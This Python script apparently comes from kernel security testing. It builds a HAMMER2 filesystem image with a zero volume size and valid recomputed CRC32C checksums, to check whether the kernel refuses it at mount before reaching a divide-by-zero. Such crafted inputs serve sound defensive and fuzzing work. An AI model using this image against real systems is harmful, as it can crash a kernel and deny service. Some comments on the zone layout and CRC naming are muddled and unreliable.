DF-0818 / craft_zero.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | #!/usr/bin/env python3 """ DF-0818 crafter โ produce a HAMMER2 image with volu_size=0 to test whether the kernel rejects it at mount time (defense at hammer2_ondisk.c:292 `vol->size == 0`) before it can reach the div0 at hammer2_bulkfree.c:727. We start from a known-good image, change volu_size from N to 0, recompute the three volume-header CRCs (icrc_sects[7] = sect0, icrc_sects[6] = sect1, icrc_volheader = whole-volume), and write the result. Layout (sys/vfs/hammer2/hammer2_disk.h:1152 hammer2_volume_data): magic u64 @ 0x000 volu_size u64 @ 0x028 ... icrc_sects[8] u32[] @ 0x1E0 (sects[7]=sect0 CRC, sects[6]=sect1 CRC) icrc_volheader u32 @ 0xFFFC """ import struct, sys, zlib IMG_IN = sys.argv[1] if len(sys.argv) > 1 else "h2.img" IMG_OUT = sys.argv[2] if len(sys.argv) > 2 else "h2_zero.img" NEW_SIZE = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0 # volu_size override VH_BYTES = 65536 OFF_magic = 0x000 OFF_volu_size = 0x028 OFF_icrc_sects = 0x1E0 # u32[8]; index 7 = sect0 CRC; index 6 = sect1 CRC OFF_icrc_volheader = 0xFFFC HAMMER2_VOLUME_ID_HBO = 0x48414d3205172011 def crc32c(buf: bytes) -> int: # Castagnoli CRC32-C, reflected, init=0xFFFFFFFF, xorout=0xFFFFFFFF # Python's zlib.crc32 is the E.132 polynomial; we need CRC32C. # Implement via table. poly = 0x82F63B78 crc = 0xFFFFFFFF for b in buf: crc ^= b for _ in range(8): crc = (crc >> 1) ^ poly if (crc & 1) else (crc >> 1) return crc ^ 0xFFFFFFFF with open(IMG_IN, "rb") as f: raw = bytearray(f.read()) if len(raw) < VH_BYTES: sys.exit(f"image too small: {len(raw)}") vh = bytearray(raw[:VH_BYTES]) # Sanity-check we found the volume header magic = struct.unpack_from("<Q", vh, OFF_magic)[0] print(f"orig magic = 0x{magic:016x} HBO=0x{HAMMER2_VOLUME_ID_HBO:016x}") assert magic == HAMMER2_VOLUME_ID_HBO, "source image magic wrong" orig_size = struct.unpack_from("<Q", vh, OFF_volu_size)[0] print(f"orig volu_size = 0x{orig_size:016x} ({orig_size})") # Overwrite volu_size with the new value (typically 0). struct.pack_into("<Q", vh, OFF_volu_size, NEW_SIZE) print(f"new volu_size = 0x{NEW_SIZE:016x} ({NEW_SIZE})") # Recompute the three CRCs. # - sect0 CRC: covers bytes [0, 512-4) of the volume header; stored at # icrc_sects[7] (offset 0x1E0 + 7*4 = 0x1FC). # - sect1 CRC: covers bytes [512, 1024) of the volume header; stored at # icrc_sects[6] (offset 0x1E0 + 6*4 = 0x1F8). # - volheader CRC: covers bytes [0, 65536-4) of the volume header; stored # at offset 0xFFFC. # Zero out the four CRC slots before computing sect0 CRC over the first # 508 bytes โ but the existing code reads them in-place. We need to # reproduce the kernel's exact layout: HAMMER2_VOLUME_ICRC0_OFF=0, # HAMMER2_VOLUME_ICRC0_SIZE=512-4=508. Note the icrc_sects[] live at # 0x1E0..0x1FF, INSIDE the sect0 range, so we must zero the sect0 CRC slot # (icrc_sects[7] @ 0x1FC) before computing. # 1) sect0: bytes [0,508), zero the slot first struct.pack_into("<I", vh, OFF_icrc_sects + 7*4, 0) sect0 = crc32c(bytes(vh[0:508])) struct.pack_into("<I", vh, OFF_icrc_sects + 7*4, sect0) # 2) sect1: bytes [512,1024) sect1 = crc32c(bytes(vh[512:1024])) struct.pack_into("<I", vh, OFF_icrc_sects + 6*4, sect1) # 3) volheader: bytes [0, 65536-4), zero the slot first struct.pack_into("<I", vh, OFF_icrc_volheader, 0) vhcrc = crc32c(bytes(vh[0:65536-4])) struct.pack_into("<I", vh, OFF_icrc_volheader, vhcrc) # HAMMER2 stores 4 redundant copies of the volume header at zones 0..3 # (each at offset i * HAMMER2_ZONE_BYTES64). Mirror the modified header # into all of them so the mount code (which picks the one with the highest # mirror_tid) reads our crafted header. HAMMER2_ZONE_BYTES64 = 1 << 50 # 1 PB nominal zone stride โ see hammer2_disk.h # Actually the zones are spaced 2^50 apart in nominal addressing, but the # physical reads use bread(devvp, i * HAMMER2_ZONE_BYTES64, ...). On a # 128 MB backing device only zone 0 is reachable; the others read beyond # EOF and are skipped. Mirror anyway into the first 4 * 64 KiB just in # case bread's offset is in block units โ physically, only zone 0 matters. raw[:VH_BYTES] = vh # Some implementations write 4 adjacent copies; harmless to mirror. for i in range(1, 4): s = i * VH_BYTES if s + VH_BYTES <= len(raw): raw[s:s+VH_BYTES] = vh with open(IMG_OUT, "wb") as f: f.write(raw) print(f"wrote {IMG_OUT} ({len(raw)} bytes)") print(f" sect0 crc = 0x{sect0:08x}") print(f" sect1 crc = 0x{sect1:08x}") print(f" volheader = 0x{vhcrc:08x}") |